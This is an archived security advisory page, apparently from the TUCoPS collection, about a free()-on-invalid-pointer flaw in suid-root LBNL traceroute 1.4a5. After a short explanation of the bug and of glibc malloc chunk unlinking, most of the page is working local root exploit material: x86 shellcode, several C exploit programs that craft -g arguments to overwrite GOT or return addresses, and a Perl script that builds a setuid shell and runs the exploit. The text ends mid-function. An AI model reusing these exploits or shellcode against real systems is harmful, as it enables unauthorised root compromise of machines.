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TUCoPS :: Linux :: General :: troute1.htm

LBNL 1.4a5 traceroute exploit



Vulnerability

    traceroute

Affected

    LBNL 1.4a5 (Where LBNL = Lawrence Berkeley National Laboratory)

Description

    Chris Evans found following.  He did not discover this flaw.   The
    flaw was  discovered by  Pekka Savola,  who noted  that traceroute
    could be caused to crash, which is pretty suboptimal behaviour for
    a suid-root program.  Chris  took this forward and speculate  that
    in fact this very minor code flaw may well be exploitable.

    First, some background reading, namely Solar Designer's  excellent
    discussion on  the generic  exploitation of  heap overflows.   The
    discussion shows nicely how heap mismanagement is fatal.  However,
    overflowing a malloc()'ed buffer is not the only bad thing you can
    do to the heap.  In  the case of traceroute, there was  a reliable
    way of  making traceroute  call free()  on a  pointer that was not
    obtained with malloc().

    This flaw in traceroute (if your version is vulnerable) is tickled
    like this:

        traceroute -g 1 -g 1       (guess is it didn't need a hostname)
        Segmentation fault

    Looking at the code, there is a file "savestr.c", which contains a
    function  savestr().   This  savestr()  function  is essentially a
    strdup()  function,  but  with  the  difference that an attempt is
    made  to  cut  down  on  the  number  of  malloc() calls.  This is
    accomplished  by  malloc()'ing  a  large  block  and  handing  out
    pointers _inside_ this block as savestr() is repeatedly called.

    So where does this all go wrong? Unfortunately, the clients of the
    savestr() method seemed to treat savestr() like it was strdup()  -
    i.e. all pointers  returned must be  free()'d or you  have a leak.
    This is  not the  case, so  we have  the flaw:  free() called on a
    pointer not allocated by malloc().

    Let's have a look at  some cheesy ASCII diagram showing  the block
    of memory allocated by savestr():

          -----------------------------------------------
          |                                             |
          -----------------------------------------------
          ^                   * ^
          |                     |
        address               free()
        returned              called
        by malloc()           here (2nd
        and 1st savestr()     savestr call
        call                  result)

    The reason this is so serious is that the free() call will attempt
    to do a bit of free chunk management. This involves memory writes.
    The memory writes are  controlled by a "malloc  chunk" descriptor,
    which resides just  before the address  returned by malloc(),  and
    passed by free().  Looking  at the above diagram, the  location of
    the descriptor  used by  the faulty  free() called  is marked by a
    "*".  Bad news  - that's in a  region of memory controlled  by the
    malicious user.

    No exploit  is currently  known, although  it is  believed than an
    exploit could  well be  possible.   A working  exploit would  be a
    chilling reminder that the slightest flaw in a security  sensitive
    program is fatal, even if the flaw looks harmless at first glance.

    If an exploit _is_ produced, it'll gain root access.  Ouch.   This
    really should  not be  the case.   A sensible  and fault  tolerant
    traceroute solution  should allocate  a raw  socket and  then drop
    privileges on  startup (quite  a few  do this).   This limits  the
    severity of  the hole  to being  able to  gain a  raw socket.  Not
    good but infinitely better than a root compromise.

    What is causing the  segmentation fault is freeing  of unallocated
    memory, not the fact that you are calling free in the middle of  a
    chunk  of  malloced  memory.   This  code  will  produce SIGBUS on
    solaris  and  other  hardware  that  supports  a misaligned access
    exceptions.

    The second -g 1  causes a free() on  an unallocated pointer.   The
    problem is that the  second 'savestr' doesn't actually  allocate a
    chunk of memory for hi->name,  so when free is called  against the
    bogus  pointer  it  segfaults  in  chunk_free.   The  hi->name  is
    actually  written  to  an  unallocated,  but unused portion of the
    heap.

    'dvorak' offered his  text on this  issue.  This  text starts with
    the story  about the  exploit.   The exploit  can be  found at the
    end, but getting it to work might require reading the story.

    We won't go into details  about malloc internals because we  think
    it's not needed and you should be able to find that out  yourself.
    (ok probably closer to  the truth is that  we can't explain it  as
    clear as the source of malloc does: we don't understand the malloc
    internals well enough to be able to explain it clearly.)

    What you  should know  is that  the internals  of malloc work with
    chunks in which they  keep the data.   Malloc gives out a  pointer
    to the  memory to  the user.   These pointers  are actually ((char
    *)chunk)+8,  hope  that  helps  in  the explanation.  Its possible
    to get  free() to  work with  incorrect chunks,  which is the base
    for the exploit.

    Using nice ascii it looks like:

        chunk
         |
         |
         +--->+--------------
              | prev_size
              +--------------
              | size
         +--->+--------------
         |    | fd  or data
         |    +--------------
         |    | bk  or data
         |    +--------------
         |    | ....
         |
        mem

    chunk is used as pointer in  the internals of malloc while mem  is
    the pointer given  to the user.   If the chunk  is not being  used
    (that is the  chunk hasn't been  given to the  user using malloc()
    or the user  has retunred the  chunk) fd and  bk are used  to hold
    pointers.  If chunk is in use they are used to hold data.

    What happens if  free(mem) is called?   First free() converts  mem
    into a chunk ((char  *)mem) - 8) on  the Intel. free() then  calls
    chunk_free() to do the rest.

    The chunk  given to  chunk_free() as  argument will  be called 'p'
    during the rest of the text.  Using p->prev_size (the size of  the
    previous chunk)  and p->size  (the size  of chunk  p) chunk_free()
    finds the previous  chunk (called prev  from now on)  and the next
    chunk (called next from  now on).  It  then checks if next  and/or
    prev are  chunks which  aren't in  use (by  checking chunk->size &
    PREV_INUSE).  If  they aren't p  is linked into  the double linked
    list of free chunks using the fd and bk field of prev and/or next.

    This linking  into the  free chunks  list is  done using the macro
    'unlink':

        #define unlink(P, BK, FD) \
        {                         \
          BK = P->bk;             \
          FD = P->fd;             \
          FD->bk = BK;            \
          BK->fd = FD;            \
        }

    If we manage to let chunk_free call unlink() with a chunk of which
    the fields fd and bk have been filled in by us, we will be able to
    change values in memory:

        if chunk->fd = (int *) x and chunk->bk = (int *) y
        after an unlink() of that chunk
        x[3] will be y
        and
        y[2] will be x

    Example source:

        [dvorak@redhat free]$ cat free.c
        void main(void) {
	        unsigned int *chunk;
	        int i;
	        unsigned int shellcode[10];
	        unsigned int ret_addr_2_change = 9;

	        /* Get some space */
	        chunk = malloc(0x8);

	        /* now setup the chunk to fool chunk_free()
	           By making prev_size negative it will look
                 _after_ this chunk in stead of in front of it
               */
	        chunk[0] = -0x10;	/* prev_size */
	        chunk[1] = 0x8;		/* size */
	        chunk[2] = shellcode;   /* fd */
	        chunk[3] = shellcode;   /* bk */

	        /* set fd to the adres of the return address - 3
	           the minus 3 is needed because fd[3] will become bk
	           bk will be set to point to our shellcode. Remember that
	           bk[2] will be changed to contain fd so that there should be
	           a jmp or so in the shellcode to skip that value.
                 */
	        chunk[4+2] = (int) (&ret_addr_2_change - 3);
	        chunk[4+3] = (int) (shellcode);

	        /* set shellcode to 0 so that we can see the change */
	        memset(shellcode, 0, sizeof(shellcode));

	        printf("ret before call: %x\n", ret_addr_2_change);
	        printf("address of ret: %x\n", &ret_addr_2_change);
	        printf("address of shellcode: %x\n", shellcode);
	        /* remember we give mem to free which finds the chunk based on
                 that */
	        free(chunk+2);

	        printf("ret now: %x\n", ret_addr_2_change);
	        for (i = 0 ; i < 10; i++) {
		        printf("sh: %d : %x\n", i, shellcode[i]);
	        }
        }
        [dvorak@redhat free]$ make free
        cc free.c -o free -g
        free.c: In function `main':
        free.c:8: warning: assignment makes pointer from integer without a
        cast
        free.c:15: warning: assignment makes integer from pointer without a
        cast
        free.c:16: warning: assignment makes integer from pointer without a
        cast
        free.c:1: warning: return type of `main' is not `int'
        [dvorak@redhat free]$ ./free
        ret before call: 9
        address of ret: bffffb44
        address of shellcode: bffffb48
        ret now: bffffb48
        sh: 0 : 0
        sh: 1 : 0
        sh: 2 : bffffb38
        sh: 3 : 0
        sh: 4 : 0
        sh: 5 : 0
        sh: 6 : 0
        sh: 7 : 0
        sh: 8 : 0
        sh: 9 : 0
        [dvorak@redhat free]$ exit

    As we can  see we successfully  overwrote the return  address with
    the address of our shellcode.   An extra example is at the  end of
    the  text  (main  difference  is  that  prev is now located on the
    stack.)  How do we use this to exploit traceroute?

    First lets look at what we can do with traceroute.  After  parsing
    of the second  -g option, just  before the call  to freehostinfo()
    the buffer looks like this:

        ---------------------------------------------
        argument of first -g\x00argument of second -g
        ------------------------^--------------------
                                |

    Free  will  be  called  with  this  address  as  argument.   After
    calculating  the   address  of   the  chunk,   free()  will   call
    chunk_free().  The pointer  that chunk_free() receives will  point
    to an address which contains the  last 7 bytes of the argument  to
    the first -g option terminated by a '\0' byte.

    What can we put into these 7 bytes?  When looking at the source of
    traceroute we see that these 7  bytes will be the last 7  bytes of
    the argument  supplied to  the first  -g option  if and  _only if_
    inet_addr(argument) or gethostbyname(argument) returns without  an
    error.   A quick  look at  the source  of inet_addr  gives us  the
    information  that  it  will  return  success  with  an argument of
    "ipaddr_in_dot_notation<space><what   ever   (binary   data    for
    instance)>"

    So we basically can get anything in those last 7 bytes except '\0'
    bytes.  This leads to the following chunk fields:

        START of chunk
        | prev_size | size      |
        XX XX XX XX XX XX XX 00
        
            with XX non zero.  Or converted to int's
        
        p->prev_size = 0xXX XX XX XX with no byte equal to zero.
        p->size = 0x00 XX XX XX with the msb equal to zero and the other 3 bytes non zero.

    chunk_free finds it's next chunk using:

        ((char *)p) + (p->size & ~(PREV_INUSE))   // PREV_INUSE = 0x01

    Next will be searched at 0x00010101 bytes above p at the least  or
    0x00ffffff bytes above p at  most.  Unfortunately this will  never
    lead to next being in addressable memory space so here the exploit
    attempt ends.

    'dvorak' was talking  this over with  Scrippie and he  told him to
    take  a  look  at  some  of  the  runtime parameters of the malloc
    system.  One of these was the environment variable MALLOC_TOP_PAD_
    which is used  to pad sbrk  calls.  The  result of MALLOC_TOP_PAD_
    being  set  to  1000000  is  that  more  then  just the 1024 bytes
    required by traceroute  are allocated using  sbrk. Now next  could
    be in addressable memory.  Time for the real exploit.

    First attempt.  The first address should be

        1.2.3.4 \xe0\xff\xff\xff\x01\x01\x01\x00

    chunk_free would lookup  'next' and find  it addressable and  zero
    (which would lead to a crash, at least it seemed to crash  because
    of did, but looking at  the malloc source suggests that  is should
    work fine).   It will then  continue to find  'previous' which was
    -0x20 in size  or located 32  bytes after 'p'.   We could set  the
    argument of the  second -g option  so that at  32 bytes after  'p'
    there  would  be  a  correct  chunk  which would, when used in the
    unlink(),  lead  to  the  return  address  being  overwritten (and
    hopefully to root).

    The  first  problem  showed  immediately.   One  of  the checks in
    chunk_free is:

        if (next == top(ar_ptr)) with ar_ptr = arena_ptr(p);

    Looking at the source of malloc.c one can see that this will  lead
    to a crash of p points above the last block of malloced memory (ok
    this  isn't   100%  correct   but  it   should  suffice   for  the
    explanation).   The last  block of  malloced memory  is the  block
    returned by the malloc(1024) call in savestr.c of traceroute,  but
    this  block  is  already  free()'d  after  processing the first -g
    option, so p was  pointing to far in  memory.  One byte  to far to
    be exact.  This was solved by not using 1.2.3.4 as ip-address  but
    using 1.2.33 instead (which is legal - look at inet_addr.c).

    The exploit at that time looked like this:

    /*
	    Just some notes to myself while coding told me what to do etc.
	    The first argv explains it in more human language the second
	    was used by me to try to organize my thoughts.

	    argv0: bS

          argv1: -g the ip_address then the fake data for chunk p
	    argv1: 1.2.3.4 \xc0\xff\xff\xff\x04\x01\x01\x00

          argv2: -g the ip address then some padding then the fd and bk
                   pointers which should give us root.
                   The weird calculation for the address of the
                   shellcode is because we can't really use nops etc
                   because
                   part of the code is overwritten (bk[2] = fd ..)
                   so we try to calculate where is will be placed
                   this calculation turned out to be incorrect ;)
	    argv2: 123.123.123.123 addr_2_change_etc shellcode_addres
                 (0xc0000000 - 8 - (strlen(argv3) + 1) - (strlen(env) +
    1))

          argv3: this argument will be used for the shellcode
                 including the extra jmp
	    argv3: jmp forward 12 bytes or so + nop nop nop + shellcode

    */

    #include <stdio.h>


    char shellcode[] =
    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
    "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
    "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/sh";

    char jmp_forward[] = "\xeb\x0c";

    /*
     Stupid and useless function to convert an int to a character array
     what happened to:
     char p[5];
     ((int *)p) = val;
     p[4] = '\0';
     ??
     */
    void make_addr(char *res, unsigned int val)
    {
	    int i;
	    char *p = (char *) &val;

	    for (i = 0; i < 4; i++)
		    res[i] = (char) *p++;
	    res[i] = '\0';
    }

    int main(int argc, char *argv[])
    {
	    char addr1[1000];
	    char addr2[100];
	    char execute_me[100];
	    char *arg[] = {"./traceroute", addr1, addr2, execute_me, NULL};
	    char *env[] = {"MALLOC_TOP_PAD_=1000000", NULL};

	    char shell_addr[5];
	    char ret_addr[5];

	    /* the first argument -g option */
	    snprintf(addr1, sizeof(addr1), "-g9.2.3.3 "
	                    "\xc0\xff\xff\xff\x04\x01\x01");
	    /* yeah I am lazy d0h */
	    memset(execute_me, 0x41, 100);
	    strncpy(execute_me, jmp_forward, strlen(jmp_forward));
	    strcpy(execute_me+20, shellcode);

	    /* this calculation is already a little bit better, but
	       still not good enough
	     */
	    make_addr(shell_addr, 0xc0000000 - 8 - (strlen(arg[3]) + 1) -
	                          (strlen(env[0]) + 1));
	    make_addr(ret_addr, strtoul(argv[1], 0, 0) - 12);

	    /* another failure.. in addr1 we set p->size to 0xffffffc0 or
	       -0x40 so the ret_addr and shell_addr are definitly at the wrong
	       spot, never drink and code is the lesson i guess.
	     */

	    snprintf(addr2, sizeof(addr2), "-g1.2.3.4 %s %s", ret_addr, shell_addr);
	    /* talking about well hmm misplaced confidence in my own code */
	    printf("Going for root!!!\n");
	    execve(arg[0], arg, env);
    }

    Well as you can see in the comments we made an awful lot of stupid
    mistakes which all make sure the exploit can't work.  After trying
    the above exploit 'dvorak' got a crash (how suprising).  The first
    problem  was  p  being  above  the  highest  malloced  block so he
    changed the ip  address of the  first -g option  to 1.2.33.   This
    eliminated the first crash.

    Looking further into  the result of  his exploit 'dvorak'  noticed
    something weird.   p->prev_size and  p->size weren't  even correct
    (that is they  weren't 0xffffffc0 and  0x00010101) and since  both
    are essential for the exploit to work he looked further into  this
    behaviour.  After  adding a couple  of printf's to  the traceroute
    source (he is absolutely no gdb guru) the following showed:

        traceroute-1.4a5]$ ./traceroute -g 245.245.245.245 -g 123.123.123.123
        #
        the first address of hi->name, this is the address of the buffer malloced in save_str
        #
        hi->name: 0804cf18

        #
        This is what the buffer looks like (well the 10 bytes before and the
        first 13 bytes of the buffer) after the first savestr in gethostinfo
        #
        gethost, savestr:
        00 00 00 00 00 00 09 04 00 00 32 34 35 2e 32 34 35 2e 32 34 35 2e 32
                                      ^
        ^ is the start of the buffer, just before it you can see the p->size
        pointer which is 0x00000409(1033) 1032 for the size (1024 bytes data
        and 8 bytes for the size and prev_size fields). The +1 is because the
        PREV_INUSE is set.

        #
        after the calloc(addrs) in gethostinfo
        #
        gethost, calloc addrs:
        00 00 20 d3 04 08 09 04 00 00 32 34 35 2e 32 34 35 2e 32 34 35 2e 32

        #
        The address of hi (struct hostinfo *) is below the address of the
        buffer, which is logical because it has been calloc'd earlier then
        the malloc(1024) in savestr. The addrs are located above the buffer
        because they are calloc'd later.
        #
        hi: 0804cf08 hi->addrs: 0804d320

        #
        After the address is filled in into addrs, nothing to see because
        addrs is located above the buffer.
        #
        gethost, calloc addrs filled in:
        00 00 20 d3 04 08 09 04 00 00 32 34 35 2e 32 34 35 2e 32 34 35 2e 32

        #
        Back to the getopt loop, just after the return of getaddr(). In
        getaddr() the hostinfo struct and addrs have been free'd, as well as
        the buffer containing our data.
        #
        while getopt after getaddr:
        00 00 20 d3 04 08 f1 10 00 00 a0 7f 10 40 a0 7f 10 40 32 34 35 2e 32
                                      ^
        ^ is the start of the buffer. As can be seen the contents have
        changed, this is because of the free(). Now that p is on the free
        list its fd and bk fields are in use and point to other free blocks.
        The first 8 bytes will be overwritten with this data and since we are
        putting in "1.2.33 etc" the first byte of our fake chunk will be
        overwritten (something to keep in mind).

        #
        After calloc(addrs) for the second -g option the buffer is suddenly
        zero'd out. The reason behind this is that the first calloc(addrs)
        calloc'd data after our buffer (which was still malloc'd at that
        time). Now that the buffer has been free'd the free memory is
        assigned to this calloc.
        #
         gethost, calloc
        addrs:
        00 00 18 cf 04 08 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e1

        #
        Here we see that addrs indeed overlaps with our original buffer.
        #
        hi: 0804cf08 hi->addrs: 0804cf18

        #
        Then the converted ip-address gets filled in. And whats more those 4
        bytes are under our full control (they represent the parts of the ip-
        address given with the second -g option).
        #
        gethost, calloc addrs filled in:
        00 00 18 cf 04 08 11 00 00 00 7b 7b 00 7b 00 00 00 00 00 00 00 00 e1

        #
        segfault after the second free.
        #
        Segmentation fault (core dumped)

    So what do we have now?   The first 4 bytes of the savestr  buffer
    are under full control.  And  what is also nice is that  the bytes
    placed after these 4 byte are zero as well as the bytes before the
    4 bytes.  So what's our next approach?

    The buffer will look like this:

        00 00 00 xx xx xx xx 00 00 00 00 00 00 00 00 00 00

    With xx under our  full control.  We  want to control p->size  and
    p->prev_size  so  we  should  make  sure p points somewhere around
    those xx's.  What's a good place for it to point?

    Immediately at  the start  would be  nice, but  it would also mean
    that p->size is always 0 and  thus that next would be the  same as
    p, which gives less flexibility.  The easiest is to let p point to
    the  byte  just  before  the  xx's.   That  way prev_size would be
    0xyyyyyy00 so  that prev  could be  anywhere in  memory (well  not
    completely, the  last byte  of it's  address can't  be chosen  but
    that shouldn't yield problems) and p->size would be 0x000000xx  so
    that next is at little above 'p'.

    To get p to point to that addres free() should be called with p  +
    8 or (since  the xx are  at the start  of the savestr  buffer) the
    first argument to -g should place 7 bytes in the buffer (including
    the \0 byte).  The exact value of these bytes doesn't matter since
    they will be overwritten.

    The second -g option should  contain the ip address needed  to get
    the correct value  for p->prev_size and  p->size.  Next  we should
    set  up  a  prev  record  somewhere  so that ((char *)p) - p->size
    should point to it, and it  should contain a next record a  little
    further in the second -g option.

    The new exploit:

    /*
	    argv0: at first it looks that this doesn't matter but since
                 this is the value found at the top of the stack and thus
                 it's length matter for the location of the shellcode.

	    argv0: bs

          argv1: nothing is needed for this it should just contain
                 6 bytes and a 0 (and off course it should be acceptable
                 to inet_addr)
	    argv1: only specific length
	           addr1 will become: 4 bytes from addr2 + zeros
                 length so that p->size = last byte + 3 zeros
                 p->prev_size = first 3 bytes + 00
                 thus: 6 bytes + 0
                 p data:
                 size = 0x20 or so;
                 prev_size = ((char *)p) - ((char *) eleet stack pointer)
                 p = addr2 - 7 - 8

                 so next data should be on addr2 + 0x20 - 7 - 8
          argv2: this requires much more thought, the ip_address should be
                 so that p->prev_size and p->size make sense.
                 p->prev_size should be so that prev can be found on the
                 stack since that's an easy place to put it, p->size should
                 be 0x20 or so so that we can put the next chunk in this
                 argument too.
	    argv2: ip addres so that: p->size makes sure next is
	           somewhere in argv2
		    p->prev_size should point to eleet data on stack (through
		    environment)
		    spacing: next data:
			    prev_size = 0x41414141;
			    size = 0xfffffff0
			    fd = some_random_pointer (or you could use him)
			    bk = some_random_pointer
		    after that: data for next (prev_size + size + fd + bk)
		    prev_size probably negative
          argv3: contains the chunk used for prev and the shellcode
                 including the jmp.
	    argv3: eleet data on stack + eleet shellcode baby
                 eleet data:
                 prev_size = BS;
                 size = BS
                 fd = &ret_addr_change - 12
                 bk = shellcode;
                 shellcode = jmp forward + nops + code
    */

    #include <stdio.h>

    /*
    easy shellcode - remember there is a certain trick in this baby like
    not starting /bin/sh but /tmp/sh (yes the 0 byte is written by the
    code itself so make sure there is something worthwhile in /tmp/sh
     */
    char shellcode[] =
    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
    "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
    "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/sh-O=";

    /*
     code to jump forward
     */
    char jmp_forward[] = "\xeb\x0c";

    /*
     again the stupid make_addr function ;)
     */
    void make_addr(char *res, unsigned int val)
    {
	    int i;
	    char *p = (char *) &val;

	    for (i = 0; i < 4; i++)
		    res[i] = (char) *p++;
	    res[i] = '\0';
    }

    /*
     which argument number contains the leet_addr and the shellcode?
     */
    #define LEETARG 7

    int main(int argc, char *argv[])
    {
	    char addr1[1000];
	    char addr2[1000];
	    char padding[256];
	    char execute_me[1000];
	    int execute_shift = 0;
	    /* next data: prev_size = crap, size=crap and fd and bk
	       point to someplace innocent in the stack, if you want
	       to you can use it to change a second memory place.
	     */
	    char *next_data = "\x41\x41\x41\x41\xf0\xff\xff\xff"
	                      "\xf0\xfd\xff\xbf\xf0\xfd\xff\xbf";
	    char *leet_data;
	    /*
	     The arguments to start traceroute with, -g separated from its
	     argument because of getopt.
	     */
	    char *arg[] = {"/usr/sbin/traceroute", "-g", addr1, "-g",
	               addr2, "127.0.0.1", "12", execute_me, NULL};
	    unsigned int leet_amount;
	    /*
	     This needs some explanation: since the prev chunk will be at
	     a certain distance from p we need to know p since it changes
	     from binary to binary we'll let the attacker figure it out
	     and give it to us ;).
	     */
	    unsigned int p = strtoul(argv[2], 0, 0);

	    char shell_addr[5];
	    char ret_addr[5];

	    /* the first addr 6 bytes long */
	    snprintf(addr1, sizeof(addr1), "1.2.11");

	    /*
	     First we fill execute_me (which will make the LEETARG) with
	     0x41 thats both a NOP and easy to find on the stack.
	     */
	    memset(execute_me, 0x41, sizeof(execute_me));

	    /*
	     We put the shellcode and the jmp at the end of execute_me
	     */
	    strncpy(execute_me+sizeof(execute_me)-strlen(shellcode)-20-1,
	            jmp_forward, strlen(jmp_forward));
	    strcpy(execute_me+sizeof(execute_me)-strlen(shellcode)-1,
	           shellcode);

	    /*
	     Calculate the address of the shell_code
	     the stack at startup looks like:
	     arg4 arg5 arg6 argLEETARG environment arg0 4 bytes
	     since the environment is gone and LEETARG is the last argument
	     we only need the length of the shellcode and the length of arg0
	     */
	    make_addr(shell_addr, 0xc0000000 - 4 - (strlen(arg[0]) + 1) -
	              (strlen(shellcode) +1 + 20));
	    /*
	     We also ask the attacker to give the address of the pointer to
	     change to point to the shellcode. Something in the GOT is
	     usually very nice
	     */
	    make_addr(ret_addr, strtoul(argv[1], 0, 0) - 12);

	    /*
	     leet_data should be in 0xbfff fe00 + (p & 0xff)
	     now we calculate the address where chunk_free() will look for
	     prev chunk.
	     We put prev chunk somewhere between 0xbffffe00 and 0xbfffff00
	     the precise position is defined by the lsb of p.
	     */
	    printf("p: 0x%08x\n", p);
	    leet_data = (char *) (0xbffffe00 + ((int)p & 0xff));
	    printf("leet_data: 0x%08x\n", leet_data);
	    /*
	     calculate the value of p->prev_size
	     */
	    leet_amount = p - (0xbffffe00 + ((int)p & 0xff));
	    printf("leet_amount: 0x%08x\n", leet_amount);

	    /* the end of execute_me will be on 0xc0000000 - 8
	       length of execute_me should thus be:
	       0xc0000000 - leet_data - 8
	       2 possibilities: either don't put the fake prev chunk at the
	       beginning of execute_me or change the length of execute_me
	       we choose the latter.
	     */
	    execute_shift = sizeof(execute_me) -
	      (0xc0000000 - (int) leet_data - 4 - (strlen(arg[0]) + 1));
	    printf("execute_shift: %d\n", execute_shift);

	    arg[LEETARG] += execute_shift;

	    /*
	     use strcpy not snprintf since snprintf does 0 terminated its
	     strings
	     */
	    strncpy(arg[LEETARG], "\x41\x41\x41\x41\x31\x31\x31\x31", 8);
	    strncpy(arg[LEETARG]+8, ret_addr, 4);
	    strncpy(arg[LEETARG]+12, shell_addr, 4);

	    printf("execute_len:%d arg0%d\n", strlen(arg[LEETARG]),
	           strlen(arg[0]));
	    printf("execute_me_addr: %08x\n", 0xc0000000 - 4 -
	           strlen(arg[0]) - strlen(arg[LEETARG]) - 2);

	    /*
	     pad the second -g option to place next chunk on the expected
	     position
	     */
	    memset(padding, ' ', sizeof(padding));

	    /*
	     0x20 - p->size
	     - 7 because thats the size of addr1
	     - 8 for p->size and p->prev_size
	     - 12 for addr2 (xx.xx.xx.xx )
	     */

	    padding[0x20 - 7 - 8 - 12] =  '\0';
	    printf("padding: %d bytes\n", strlen(padding));

	    /*
	     put hex equivalent of leet amount in ip_address
	     */
	    snprintf(addr2, sizeof(addr2),
	             "0x%02x.0x%02x.0x%02x.0x%02x%s%s",
	             ((unsigned char *) &leet_amount)[1],
	             ((unsigned char *) &leet_amount)[2],
	             ((unsigned char *) &leet_amount)[3],
	             0x20,
	             padding, next_data);
	    /*
	     This time it should work ;)
	     */
	    printf("Going for root!!!\n");
	    execve(arg[0], arg, NULL);
    }

    Well -  that's it  a working  exploit for  traceroute tested under
    redhat 6.1, 6.2, debian potato  if you have problems or  solutions
    for certain questions raised in this text please contact me.

    Oops indeed  might have  forgotten that:  How to  get the  correct
    value for p?

        $cp /usr/sbin/traceroute ./tra
        $ltrace ./tra -g1

        ltrace can be found at:
        ftp.nluug.nl/pub/os/Linux/distr/debian/dists/stable/main/source/utils/
        ltrace.*.tgz

    Then look at the return value for the malloc(1024) call  substract
    1 and  voila. Copy  the binary  first as  you can't  ltrace a suid
    binary.  A GOT entry is best as the address to change try  exit(),
    getopt()  or  fprintf().   (if  you  don't  know  how to get a GOT
    address though luck, go  read a couple of  phracks or so and  come
    back later).

    To exploit  debian 2.2:  debian has  MAXHOSTLEN defined  as 64  so
    argument 2  is to  long: solution:  move next  chunk forward  from
    0x40 to  0x20 or  so. RedHat  6.2 has  the same  problem therefore
    'dvorak' patched the exploit himself.

    #!/bin/perl

    # build exploit
    system("make ex_god");

    system("echo 'void main(void) { setuid(0); setgid(0);
    execl(\"/bin/sh\", \"sh\", 0);}' > /tmp/sh.c ; make /tmp/sh >
    /dev/null 2>/dev/null");

    # get p
    system("cp /usr/sbin/traceroute ./tra; ltrace -e malloc -o lk ./tra
    -g1 > /dev/null 2>/dev/null; rm ./tra");

    open F, "<lk";

    $line = <F>;
    ($dummy, $p) = split( /\= /, $line,2);
    $p = (hex $p) - 1;
    close F;

    # get a GOT entry
    open F, "objdump -R /usr/sbin/traceroute | grep getopt|";
    $line = <F>;
    ($got, $dummy) = split( / /, $line, 2);
    close F;

    system("./ex_god 0x$got $p");
    --------------------
    /*
     An other free example which places part of the chunk on the stack
     */
    void main(int argc, char *argv[]) {
	    unsigned int *chunk;
	    int i;
	    unsigned int shellcode[10];
	    unsigned int ret_addr_2_change = 9;
	    unsigned int stack[1000];
	    char *p;

	    chunk = malloc(16455*4);
	    chunk = chunk + 22;
	    printf("malloc: %x\n", chunk);

	    /* prev_size */
	    chunk[0] = -(((char *) stack) - ((char *) chunk));
	    chunk[1] = 0x10;	/* size */
	    chunk[2] = -0x10;	/* fd */
	    chunk[3] = -0x10;	/* bk */

	    printf("re: %p\n", &ret_addr_2_change);
	    printf("sh: %p\n", shellcode);


	    chunk[4+0] = 0x41414141;	/* next */
	    chunk[4+1] = 0xfffffff0;
	    chunk[4+2] = (int) (&ret_addr_2_change - 3);
	    chunk[4+3] = (int) (shellcode);

	    stack[+0] = 0x1;		/* prev */
	    stack[+1] = 0x2;
	    stack[+2] = shellcode+5;
	    stack[+3] = shellcode+5;

	    memset(shellcode, 0, sizeof(shellcode));

	    for (i = -4; i < 8; i++)
		    printf("chunk: %d: %08x\n", i, chunk[i]);
	    free(chunk+2);

	    printf("ret now: %x\n", ret_addr_2_change);
	    for (i = 0 ; i < 10; i++) {
		    printf("sh: %d : %x\n", i, shellcode[i]);
	    }
    }

    Here is simpler one:

    #include <stdio.h>
    #include <unistd.h>
    #include <string.h>

    char code[] =
       "\xeb\x34"              /* jmp    GETADDR         */
       "\x90\x90\x90\x90"      /* nop nop nop nop        */
       "\x90\x90\x90\x90"      /* nop nop nop nop        */
       "\x90\x90\x90\x90"      /* nop nop nop nop        */
       "\x90\x90\x90\x90"      /* nop nop nop nop        */
			       /* RUNPROG:               */
       "\x5e"                  /* popl   %esi            */
       "\x89\x76\x08"          /* movl   %esi,0x8(%esi)  */
       "\x31\xc0"              /* xorl   %eax,%eax       */
       "\x88\x46\x07"          /* movb   %al,0x7(%esi)   */
       "\x89\x46\x0c"          /* movl   %eax,0xc(%esi)  */
       "\xfe\x06"              /* incb   (%esi)          */
       "\xfe\x46\x04"          /* incb   0x4(%esi)       */
       "\xb0\x0b"              /* movb   $0xb,%al        */
       "\x89\xf3"              /* movl   %esi,%ebx       */
       "\x8d\x4e\x08"          /* leal   0x8(%esi),%ecx  */
       "\x8d\x56\x0c"          /* leal   0xc(%esi),%edx  */
       "\xcd\x80"              /* int    $0x80           */
       "\x31\xdb"              /* xorl   %ebx,%ebx       */
       "\x89\xd8"              /* movl   %ebx,%eax       */
       "\x40"                  /* incl   %eax            */
       "\xcd\x80"              /* int    $0x80           */
			       /* GETADDR:               */
       "\xe8\xd7\xff\xff\xff"  /* call   RUNPROG         */
       ".bin.sh";              /* Program to run .XXX.XX */

    extern void *__malloc_hook;

    typedef struct glue {
	    int	a;
	    int	b;
	    void	*p;
	    void	*q;
    } glue;

    void print_hex(char *p)
    {
	    char	*q;

	    q=p;

	    while(*q) {
		    if (*q > 32 && *q < 127) {
			    printf("%c",*q);
		    } else {
			    printf(" ");
		    }
		    q++;
	    }
    }

    int main(void)
    {
	    int	ipa=0x2E312E31;
	    int	ipb=0x20312E31;
	    int	oh=0x00000000;
	    int	dummy=0x43434343;
	    void	*mh=(void **)__malloc_hook;
	    void	*usage=(void *)0x804a858;
    /*	void	*us=(void *)0x804cd80;*/
	    void	*us=(void *)0x804cd7a;
	    char	buf[260];
	    char	whocares[4096];
	    char	*prog="/tmp/traceroute";
	    glue	temp;
	    FILE	*out;

	    printf ("malloc_hook %x code %x\n",mh, usage);

	    memset(buf, 0x47,256);
	    buf[255]='\0';

	    printf ("buf: %s\n", buf);
	    temp.a=ipa;
	    temp.b=ipb;
	    temp.p=mh;
	    temp.q=us+16;

	    memcpy(buf, (void *)&temp,16);
	    printf ("buf: %s\n", buf);

	    temp.p=(void *)oh;
	    temp.q=(void *)oh;
	    temp.a=dummy;
    /*	temp.b=dummy;*/
	    temp.b=0xFFFFFF01;

	    printf("code(%d)\n", sizeof(code));
	    strncpy(buf+16, code, sizeof(code) -1);
	    memcpy(buf+240, (void *)&temp, 0x10);
	    printf ("buf: %s\n", buf);
	    buf[255]='\0';

	    out=fopen("/tmp/code","w");
	    fputs(buf,out);
	    fclose(out);
	    printf("%s\n",whocares);

